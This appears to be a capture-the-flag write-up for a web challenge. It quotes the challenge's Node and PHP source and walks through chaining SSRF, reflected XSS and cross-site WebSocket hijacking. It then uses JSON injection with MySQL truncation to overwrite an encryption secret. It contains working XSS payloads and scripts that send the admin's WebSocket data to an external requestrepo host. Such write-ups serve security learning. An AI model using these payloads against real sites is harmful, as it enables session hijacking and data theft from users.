const { encrypt, decrypt } = require('./util/crypto');
let db;
let sessionParser;
const quotes = [
"Genius is one percent inspiration and ninety-nine percent perspiration.",
"Fate is in your hands and no one elses.",
"Trust yourself. You know more than you think you do."
];
const wsHandler = (ws, req) => {
let userId;
sessionParser(req, {}, () => {
if (req.session.userId) {
userId = req.session.userId;
} else {
ws.close();
}
});
ws.on('message', async (msg) => {
const data = JSON.parse(msg);
const secret = await db.getSecret(req.session.userId);
if (data.action === 'add') {
try {
await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
ws.send(JSON.stringify({ success: true, action: 'add' }));
} catch (e) {
ws.send(JSON.stringify({ success: false, action: 'add' }));
}
}
else if (data.action === 'get') {
try {
const results = await db.getTasks(userId);
const tasks = [];
for (const result of results) {
let quote;
if (userId === 1) {
quote = `A wise man once said, "the flag is ${process.env.FLAG}".`;
} else {
quote = quotes[Math.floor(Math.random() * quotes.length)];
}
try {
const task = JSON.parse(result.data);
tasks.push({
title: encrypt(task.title, task.secret),
description: encrypt(task.description, task.secret),
quote: encrypt(quote, task.secret)
});
} catch (e) {
console.log(`Error parsing task ${result.data}: ${e}`);
}
}
ws.send(JSON.stringify({ success: true, action: 'get', tasks: tasks }));
} catch (e) {
ws.send(JSON.stringify({ success: false, action: 'get' }));
}
}
else {
ws.send(JSON.stringify({ success: false, error: 'Invalid action' }));
}
});
};
module.exports = (database, session) => {
db = database;
sessionParser = session;
return wsHandler;
};
The functionality is very simple, you can either get or add todos
Add takes:
{"title":"", "description":"", "secret":""}
get returns:
{"title":"", "description":"", "quote":"flag"}
BUT ENCRYPTED with secret, but luckily a /decrypt
function is exposed as well which we can use with secret we can get from /secret
To get the flag you need to be user number 1(admin) and access the websocket with a get action
const puppeteer = require('puppeteer')
// please note that 127.0.0.1 and localhost are considered different hosts
// due to ingress networking rules a container can't reach itself through the it's external IP, so you'd have to use the internal ports (80, 8080) and 127.0.0.1
const LOGIN_URL = "http://127.0.0.1/login";
let browser = null
const visit = async (url) => {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' })
await page.waitForSelector('form')
await page.type('wired-input[name=username]', process.env.USERNAME)
await page.type('wired-input[name=password]', process.env.PASSWORD)
await page.click('wired-button')
try {
await page.goto(url, { waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
}
}
const doReportHandler = async (req, res) => {
if (!browser) {
console.log('[INFO] Starting browser')
browser = await puppeteer.launch({
args: [
"--no-sandbox",
"--disable-background-networking",
"--disk-cache-dir=/dev/null",
"--disable-default-apps",
"--disable-extensions",
"--disable-desktop-notifications",
"--disable-gpu",
"--disable-sync",
"--disable-translate",
"--disable-dev-shm-usage",
"--hide-scrollbars",
"--metrics-recording-only",
"--mute-audio",
"--no-first-run",
"--safebrowsing-disable-auto-update",
]
})
}
const url = req.body.url
if (
url === undefined ||
(!url.startsWith('http://') && !url.startsWith('https://'))
) {
return res.status(400).send({ error: 'Invalid URL' })
}
try {
console.log(`[*] Visiting ${url}`)
await visit(url)
console.log(`[*] Done visiting ${url}`)
return res.sendStatus(200)
} catch (e) {
console.error(`[-] Error visiting ${url}: ${e.message}`)
return res.status(400).send({ error: e.message })
}
}
module.exports = { doReportHandler }
The report functionality is an SSRF as a service apparently, give it any url and it will visit it with puppeteer
The whole app is index.php
<html>
<body>
<?php if (isset($_GET['html'])): ?>
<?php echo $_GET['html']; ?>
<?php else: ?>
<h1>HTML Tester</h1>
<p>Internal development tool</p>
<form action="index.php" method="get">
<input type="text" name="html" />
<input type="submit" value="Submit" />
</form>
<?php endif; ?>
</body>
</html>
Well the vulnerability here is also very clear. XSS in the html parameter!
http://167.99.85.216:32749/index.php?html=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
Ok so I am pretty sure that probably the combination of this two must be used together. Probably the ssrf must be given an xss url, but ltets see.
Ok so plan: Use the ssrf to make the admin user visit the xss link, from which we can hijack the weboscket with CSWH
{
"url":"http://127.0.0.1:8080/index.php?html=<script src='http://0sq8eorm.requestrepo.com'></script>"
}
So we can hijack the socket like below
fetch("http://inscript.0sq8eorm.requestrepo.com", {
mode: "no-cors"
});
const ws = new WebSocket("ws://127.0.0.1/ws");
ws.onopen = () => {
fetch("http://websocketopened.0sq8eorm.requestrepo.com", {
mode: "no-cors"
});
ws.send(JSON.stringify({ action: "get" }));
}
ws.onmessage = (msg) => {
fetch("http://onmessage.0sq8eorm.requestrepo.com", {
mode: "no-cors",
method: "POST",
body: msg.data
});
}
{"success":true,"action":"get","tasks":[{"title":{"iv":"ac21d93c4ab8daa935ce685451048bd3","content":"cd7932834a76d11c30"},"description":{"iv":"9631a5b62f4cc5e46406370157d73a98","content":"643ac5e8aa23d6feab4c1093dd80a6"},"quote":{"iv":"03838addd0942c96560f5b0ccdf68a55","content":"c9e622d24a02ba2dc14a3c74a76afe032f42efba50b34e190c7c071c288abb29fa2ed9082cc50edc58d493c79eb4b19066388e8572ec3e5252444bf6269e7c"}},{"title":{"iv":"280d1d0a0a04b6b11e667bc8e1e2e130","content":"d1ec5ffefc32d36844"},"description":{"iv":"0315962d019ee592c3bbb7300b36e191","content":"2d1aaae06b38a77800c5b16a28c2a1"},"quote":{"iv":"74816e4cf1afe934b3d71b1f97dd7d2e","content":"3370d5f78953547fa107f8f90deda0ae696cd9702f5cca1c5ebd328f2339dd7fceb8a5c3e44bade4297826d8a82ef1b6dfd49f01577b4d46f8807d279db910"}},{"title":{"iv":"002aa60f473e17ef411ebf2995fda87d","content":"11c4366d70fde68499"},"description":{"iv":"23b860603cd991d4677f9c7a003ad195","content":"616ce200576523651e3d197457b434"},"quote":{"iv":"225ff327dce3d0dc43c2301ebb5b365f","content":"3eb6cac5ea65275ffd42bf0289b503dcb4e0cba9ad3ca49f66cb6d363984434be03ee341838c6cfe1e3a49adebf66c0329f57753fedc0c88b6f3f8254ca026"}},{"title":{"iv":"f0dd46360b49e96d32e2eb993b2a2242","content":"5f8283058ee7d5d8ec"},"description":{"iv":"e024cee8eb1a109b95fc44799733d38a","content":"e7c1f393486cb45fb4197b21568325"},"quote":{"iv":"7ab61c5021a94298efcd6435304eb01a","content":"9e0a48dcc7e2f62dc2ef9a3c5c243648c8c3f63b308821236b3c47babed62d28b67a962dfdd0cecbcb343c4020e438b1d7e1d74b25c6f83b804600e128e42a"}},{"title":{"iv":"e4871af0614ce2da535e79b03afe4763","content":"60387ee5c9341c9e73"},"description":{"iv":"cc93dff1965f52abf949a83f88344f2d","content":"2d555f5f0c1adf7edf9343e233649e"},"quote":{"iv":"8284fca80aa487f768ce8c749d106f26","content":"c12c8dfd8cacd597f0921bb0a14f302b36bd429967119f557c15d386bdd046c73bbfd1f855c8dad02df51d7a427bdaf9f966150fb67a1d9fc3affe168c514c"}},{"title":{"iv":"d57f8dcf809af8e457806808f9d6bdf4","content":"9f59e300f3de68be45"},"description":{"iv":"84682594000793183029c80bc4785ec0","content":"10ad903d522092f4316acb6c651d82"},"quote":{"iv":"d3a8d40d8a8731321fe578ad4ef42db1","content":"77a45909da4b89f3356f68d3d194cbcc4a82edb4bc4b5b25d6e564f156030a32e5459c9805d21e08ebb5e5272788500a7b1f3de261f5392e563a4d9ed99339"}},{"title":{"iv":"179b14eef0cb21316af387655ecac571","content":"29c77c8753931d57dd"},"description":{"iv":"c7e34ac747ba6d8dadfc90384ba03cbe","content":"5e475a610507aa87bcd0840b3e19fe"},"quote":{"iv":"306c4012d42b9c3315d7443ba5fea8e2","content":"df626b7acadd80c4d37962aacbff1161461b35710e5be477b7053b2ab6cc5b309573bb5838d0f4c2ab65c77aabff82cddf852167890240de9637fc262727ea"}},{"title":{"iv":"abe44d3309a4da4d1c6e1af48d3922fa","content":"74b69a003880dd77d8"},"description":{"iv":"4d4973ca739cec3e1ef30115930975b4","content":"9571d7ca1c4a2909cd6976fc7831ef"},"quote":{"iv":"c4dcf9245ecaa5a311f964e2856f5706","content":"387b24ec903daae7ddd5146a8bf2bc0ac93f89bbd642a16f35dea88c11c353c46b869aaab01ffe04f522dc1b3cb0bdddef477ec5d92160b25621aab7001a41"}},{"title":{"iv":"f4a565a6c5ba6aea2b5e685198daa547","content":"95e399c0a23a4f6df3"},"description":{"iv":"c85c1b223beef5fe91ef9e0f8596b99b","content":"0782809e4ea858b64c34645450ef19"},"quote":{"iv":"296ee667e05a0c92a957ac16ddc02529","content":"ad056403f4feb6c70f80824945e69c2b698f3cb02770b5f462f0887dab8993cabf333c75d606b9e245fa806dbe749be8919a041c55c24086be1e83d9356dae"}},{"title":{"iv":"31c3264bc408eb055b0fbf5f5394aea7","content":"f923c3dfabb714ae08"},"description":{"iv":"4d8352438ad625248d6e7cdbca9ce9cd","content":"8ec2fc1d4195180e453f624e3159fa"},"quote":{"iv":"5f00d3a28d871639324cefb1567d2b13","content":"97cd2fb5599ea8e3e2ae443c385d42d13cea60d5e6dba9812367cd6a19483378c306cd8dd071863f8f90c2b4360d24325f358cfb8f0d4fad271cd8a7a8b758"}},{"title":{"iv":"d3af6885b8af6ba7ba201e0ceeb2b7c4","content":"d04a98c791ed8b950a"},"description":{"iv":"b068bc20b4d296da5a85dda4b6877154","content":"7d3ce1dfe5a52d2aa2"},"quote":{"iv":"b4714740bc1c6bb1da1d55002efa5fd6","content":"ed480ee0d7857aef57f53a7b3b39a7fd861156488df64f3bfb4ace3fa8a1c840c89a973bbdda757e548efb334b072b7ad4d6ea990675c7d9ed64d5fd58a9fa"}},{"title":{"iv":"ec072d471a8e92f4626ae8f1c5a02daf","content":"c893ec43ffe85cefcb"},"description":{"iv":"2fab7748905e90d48608ec7119183014","content":"45b38034e0dcd53060f73309108b9d"},"quote":{"iv":"6ed4bf071ff87f610d9bc82f46c6e860","content":"237eea9a94869f4d61b530e84371cb7cd9419858952c828fe08051564944863e5da1dbe7076c8539d405de999b9f953f3875feea4c6844f9110a9967fe0cdb"}},{"title":{"iv":"6526fd298be56d0d65295a1ef8e1060b","content":"6b2eb05961fe9e0a0c"},"description":{"iv":"c14cdad1b9b02af9414ab871ecd7f45f","content":"ba3e04cf2b03265fdeb4049f9bc3c6"},"quote":{"iv":"7915bd1e4f6134d5014dfe93d47b8906","content":"c436776b835fb444ebf3a5f10907e912e81f18eba6060edbbef6fbaade088b8b566e3f46084cb4daa9af804d7ecfac132ab9f497a18d194d6262d2782955bf"}},{"title":{"iv":"bc999fb592fac83eb700d0db905354e1","content":"74d7e110141aa94c11"},"description":{"iv":"bd4497062e610b4771a91806291704a4","content":"15a1dcd7eef45b454eb36f544eb177"},"quote":{"iv":"0dc870ca1c5379c7e4aee7fb97a58186","content":"c030400179a511a0293177a2f76b670ca3c94cd05ea7e6b6f5e8733304b4918dc7ca9eaa428c13e229a308210b46bc26fa73c4be9be54eda9630a787306288"}},{"title":{"iv":"3d656c7b8b84a6639eeaed7a620deaed","content":"e4221cd70a8f1fa56e"},"description":{"iv":"718b93e88ac8a0697a762a4d5b25dab4","content":"a75b7281c0234ffb379b077c04ee95"},"quote":{"iv":"0133b381820cf8e62623c166f3eeeea3","content":"fbdd72a347f32bf71dd3283172f238e169dc4c367be6a2ff3db3ab222f51b754b3158ab66424356d1bf67a7a446e2bf1fa80ea3344b80e63d101e7f3b0557e"}},{"title":{"iv":"461492606bd50a8afeb72fd8b4901556","content":"4474b4a30650ae1ce3"},"description":{"iv":"be8858836ada1f317c2e210e1c29422c","content":"99ac079ea91f44c20c57606a7875b3"},"quote":{"iv":"831cd9da8ed02c35ad0798336e795d9e","content":"7e51e7e888d457dd80557e98a084980c61a50a03b0c866f27eb2b408a151241d9173f3d468a15f032a1feebf6222563272851f3d0f5add37ea501218b99ba1"}}]}
Ok so somewhere in here one of them is the flag but they are useless without the secret
There are 2 paths forward then. Either get the secret from /secret
or somehow overwrite/change it.
We can't get /secret
due to CORS, lets see where our added tasks go and how they are processed then
await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
Ok so they are added like this and then
const task = JSON.parse(result.data);
tasks.push({
title: encrypt(task.title, task.secret),
description: encrypt(task.description, task.secret),
quote: encrypt(quote, task.secret)
});
to display them.
Well if we could inject the string "secret":"value"}
in description and then because JSON.parse
takes the whole string as 1 maybe it wont care for anything after the }
? and everything will work perfectly?
Well it is definitely injectable, but how do we eliminate everything after }
Also keep in mind since this is AES the key must be 32 characters long, so we could just use an IV for example: ac21d93c4ab8daa935ce685451048bd3
, that is what I did
Well what is the data could get truncated after coming out of the database? If we can find out the maximum size just make it so it exactly ends at the injected }
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'REDACTED';
CREATE USER 'web'@'localhost' IDENTIFIED WITH mysql_native_password BY 'REDACTED';
FLUSH PRIVILEGES;
CREATE DATABASE todo;
USE todo;
CREATE TABLE users (
id INT NOT NULL AUTO_INCREMENT,
username VARCHAR(255) NOT NULL,
password VARCHAR(255) NOT NULL,
secret VARCHAR(255) NOT NULL,
PRIMARY KEY (id)
);
CREATE TABLE todos (
id INT NOT NULL AUTO_INCREMENT,
user_id INT NOT NULL,
data VARCHAR(255) NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY (user_id) REFERENCES users(id)
);
INSERT INTO users (username, password, secret) VALUES ('admin', 'REDACTED', 'REDACTED');
GRANT INSERT, SELECT ON todo.users TO 'web'@'localhost';
GRANT INSERT, SELECT ON todo.todos TO 'web'@'localhost';
FLUSH PRIVILEGES;
supervisord.conf
[program:mysql] # Set MySQL modes: https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html command=/usr/bin/pidproxy /var/run/mysqld/mysqld.pid /usr/sbin/mysqld --sql-mode="NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION" autorestart=true
The above fortunately allows exactly what we are trying to do by not enabling strict mode, which is enabled by default
The default SQL mode in MySQL 8.0 includes these modes: ONLY_FULL_GROUP_BY
, STRICT_TRANS_TABLES
, NO_ZERO_IN_DATE
, NO_ZERO_DATE
, ERROR_FOR_DIVISION_BY_ZERO
, and NO_ENGINE_SUBSTITUTION
.
according to https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html
Strict mode produces an error for attempts to create a key that exceeds the maximum key length. When strict mode is not enabled, this results in a warning and truncation of the key to the maximum key length.
(https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html#:~:text=Strict%20mode%20produces,Server%20System%20Variables%E2%80%9D.)) I was not aware of this protection but I googled it because I thought that why wouldn't the database just error if it gets more data than the specified maximum? The developer explicitly not setting it to strict mode then is a hint for us that we are on the right path!
hmm, so data is VARCHAR(255) NOT NULL
, so how do we send exactly enough in order for our data to be cut at }
?
Well description is our injection point, so lets use our previous POC and build on it
it looks something like this:
{"title":"a","description":\"
+ description(padding for truncation basically) + ,"secret":"ac21d93c4ab8daa935ce685451048bd3"}\"}
So if we subtract their length from 255 we find exactly how much padding we need to add.
// fetch("http://inscript.0sq8eorm.requestrepo.com", {
// mode: "no-cors"
// });
const ws = new WebSocket("ws://127.0.0.1/ws");
ws.onopen = () => {
// fetch("http://websocketopened.0sq8eorm.requestrepo.com", {
// mode: "no-cors"
// });
ws.send(
JSON.stringify(
{"action":"add","title":"a","description": `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","secret": "ac21d93c4ab8daa935ce685451048bd3"}`}
)
);
ws.send(JSON.stringify({ action: "get" }));
}
ws.onmessage = (msg) => {
fetch("http://onmessage.0sq8eorm.requestrepo.com", {
mode: "no-cors",
method: "POST",
body: msg.data
});
}
Then use the now changed secret to decode the flag with the latest fetched iv and content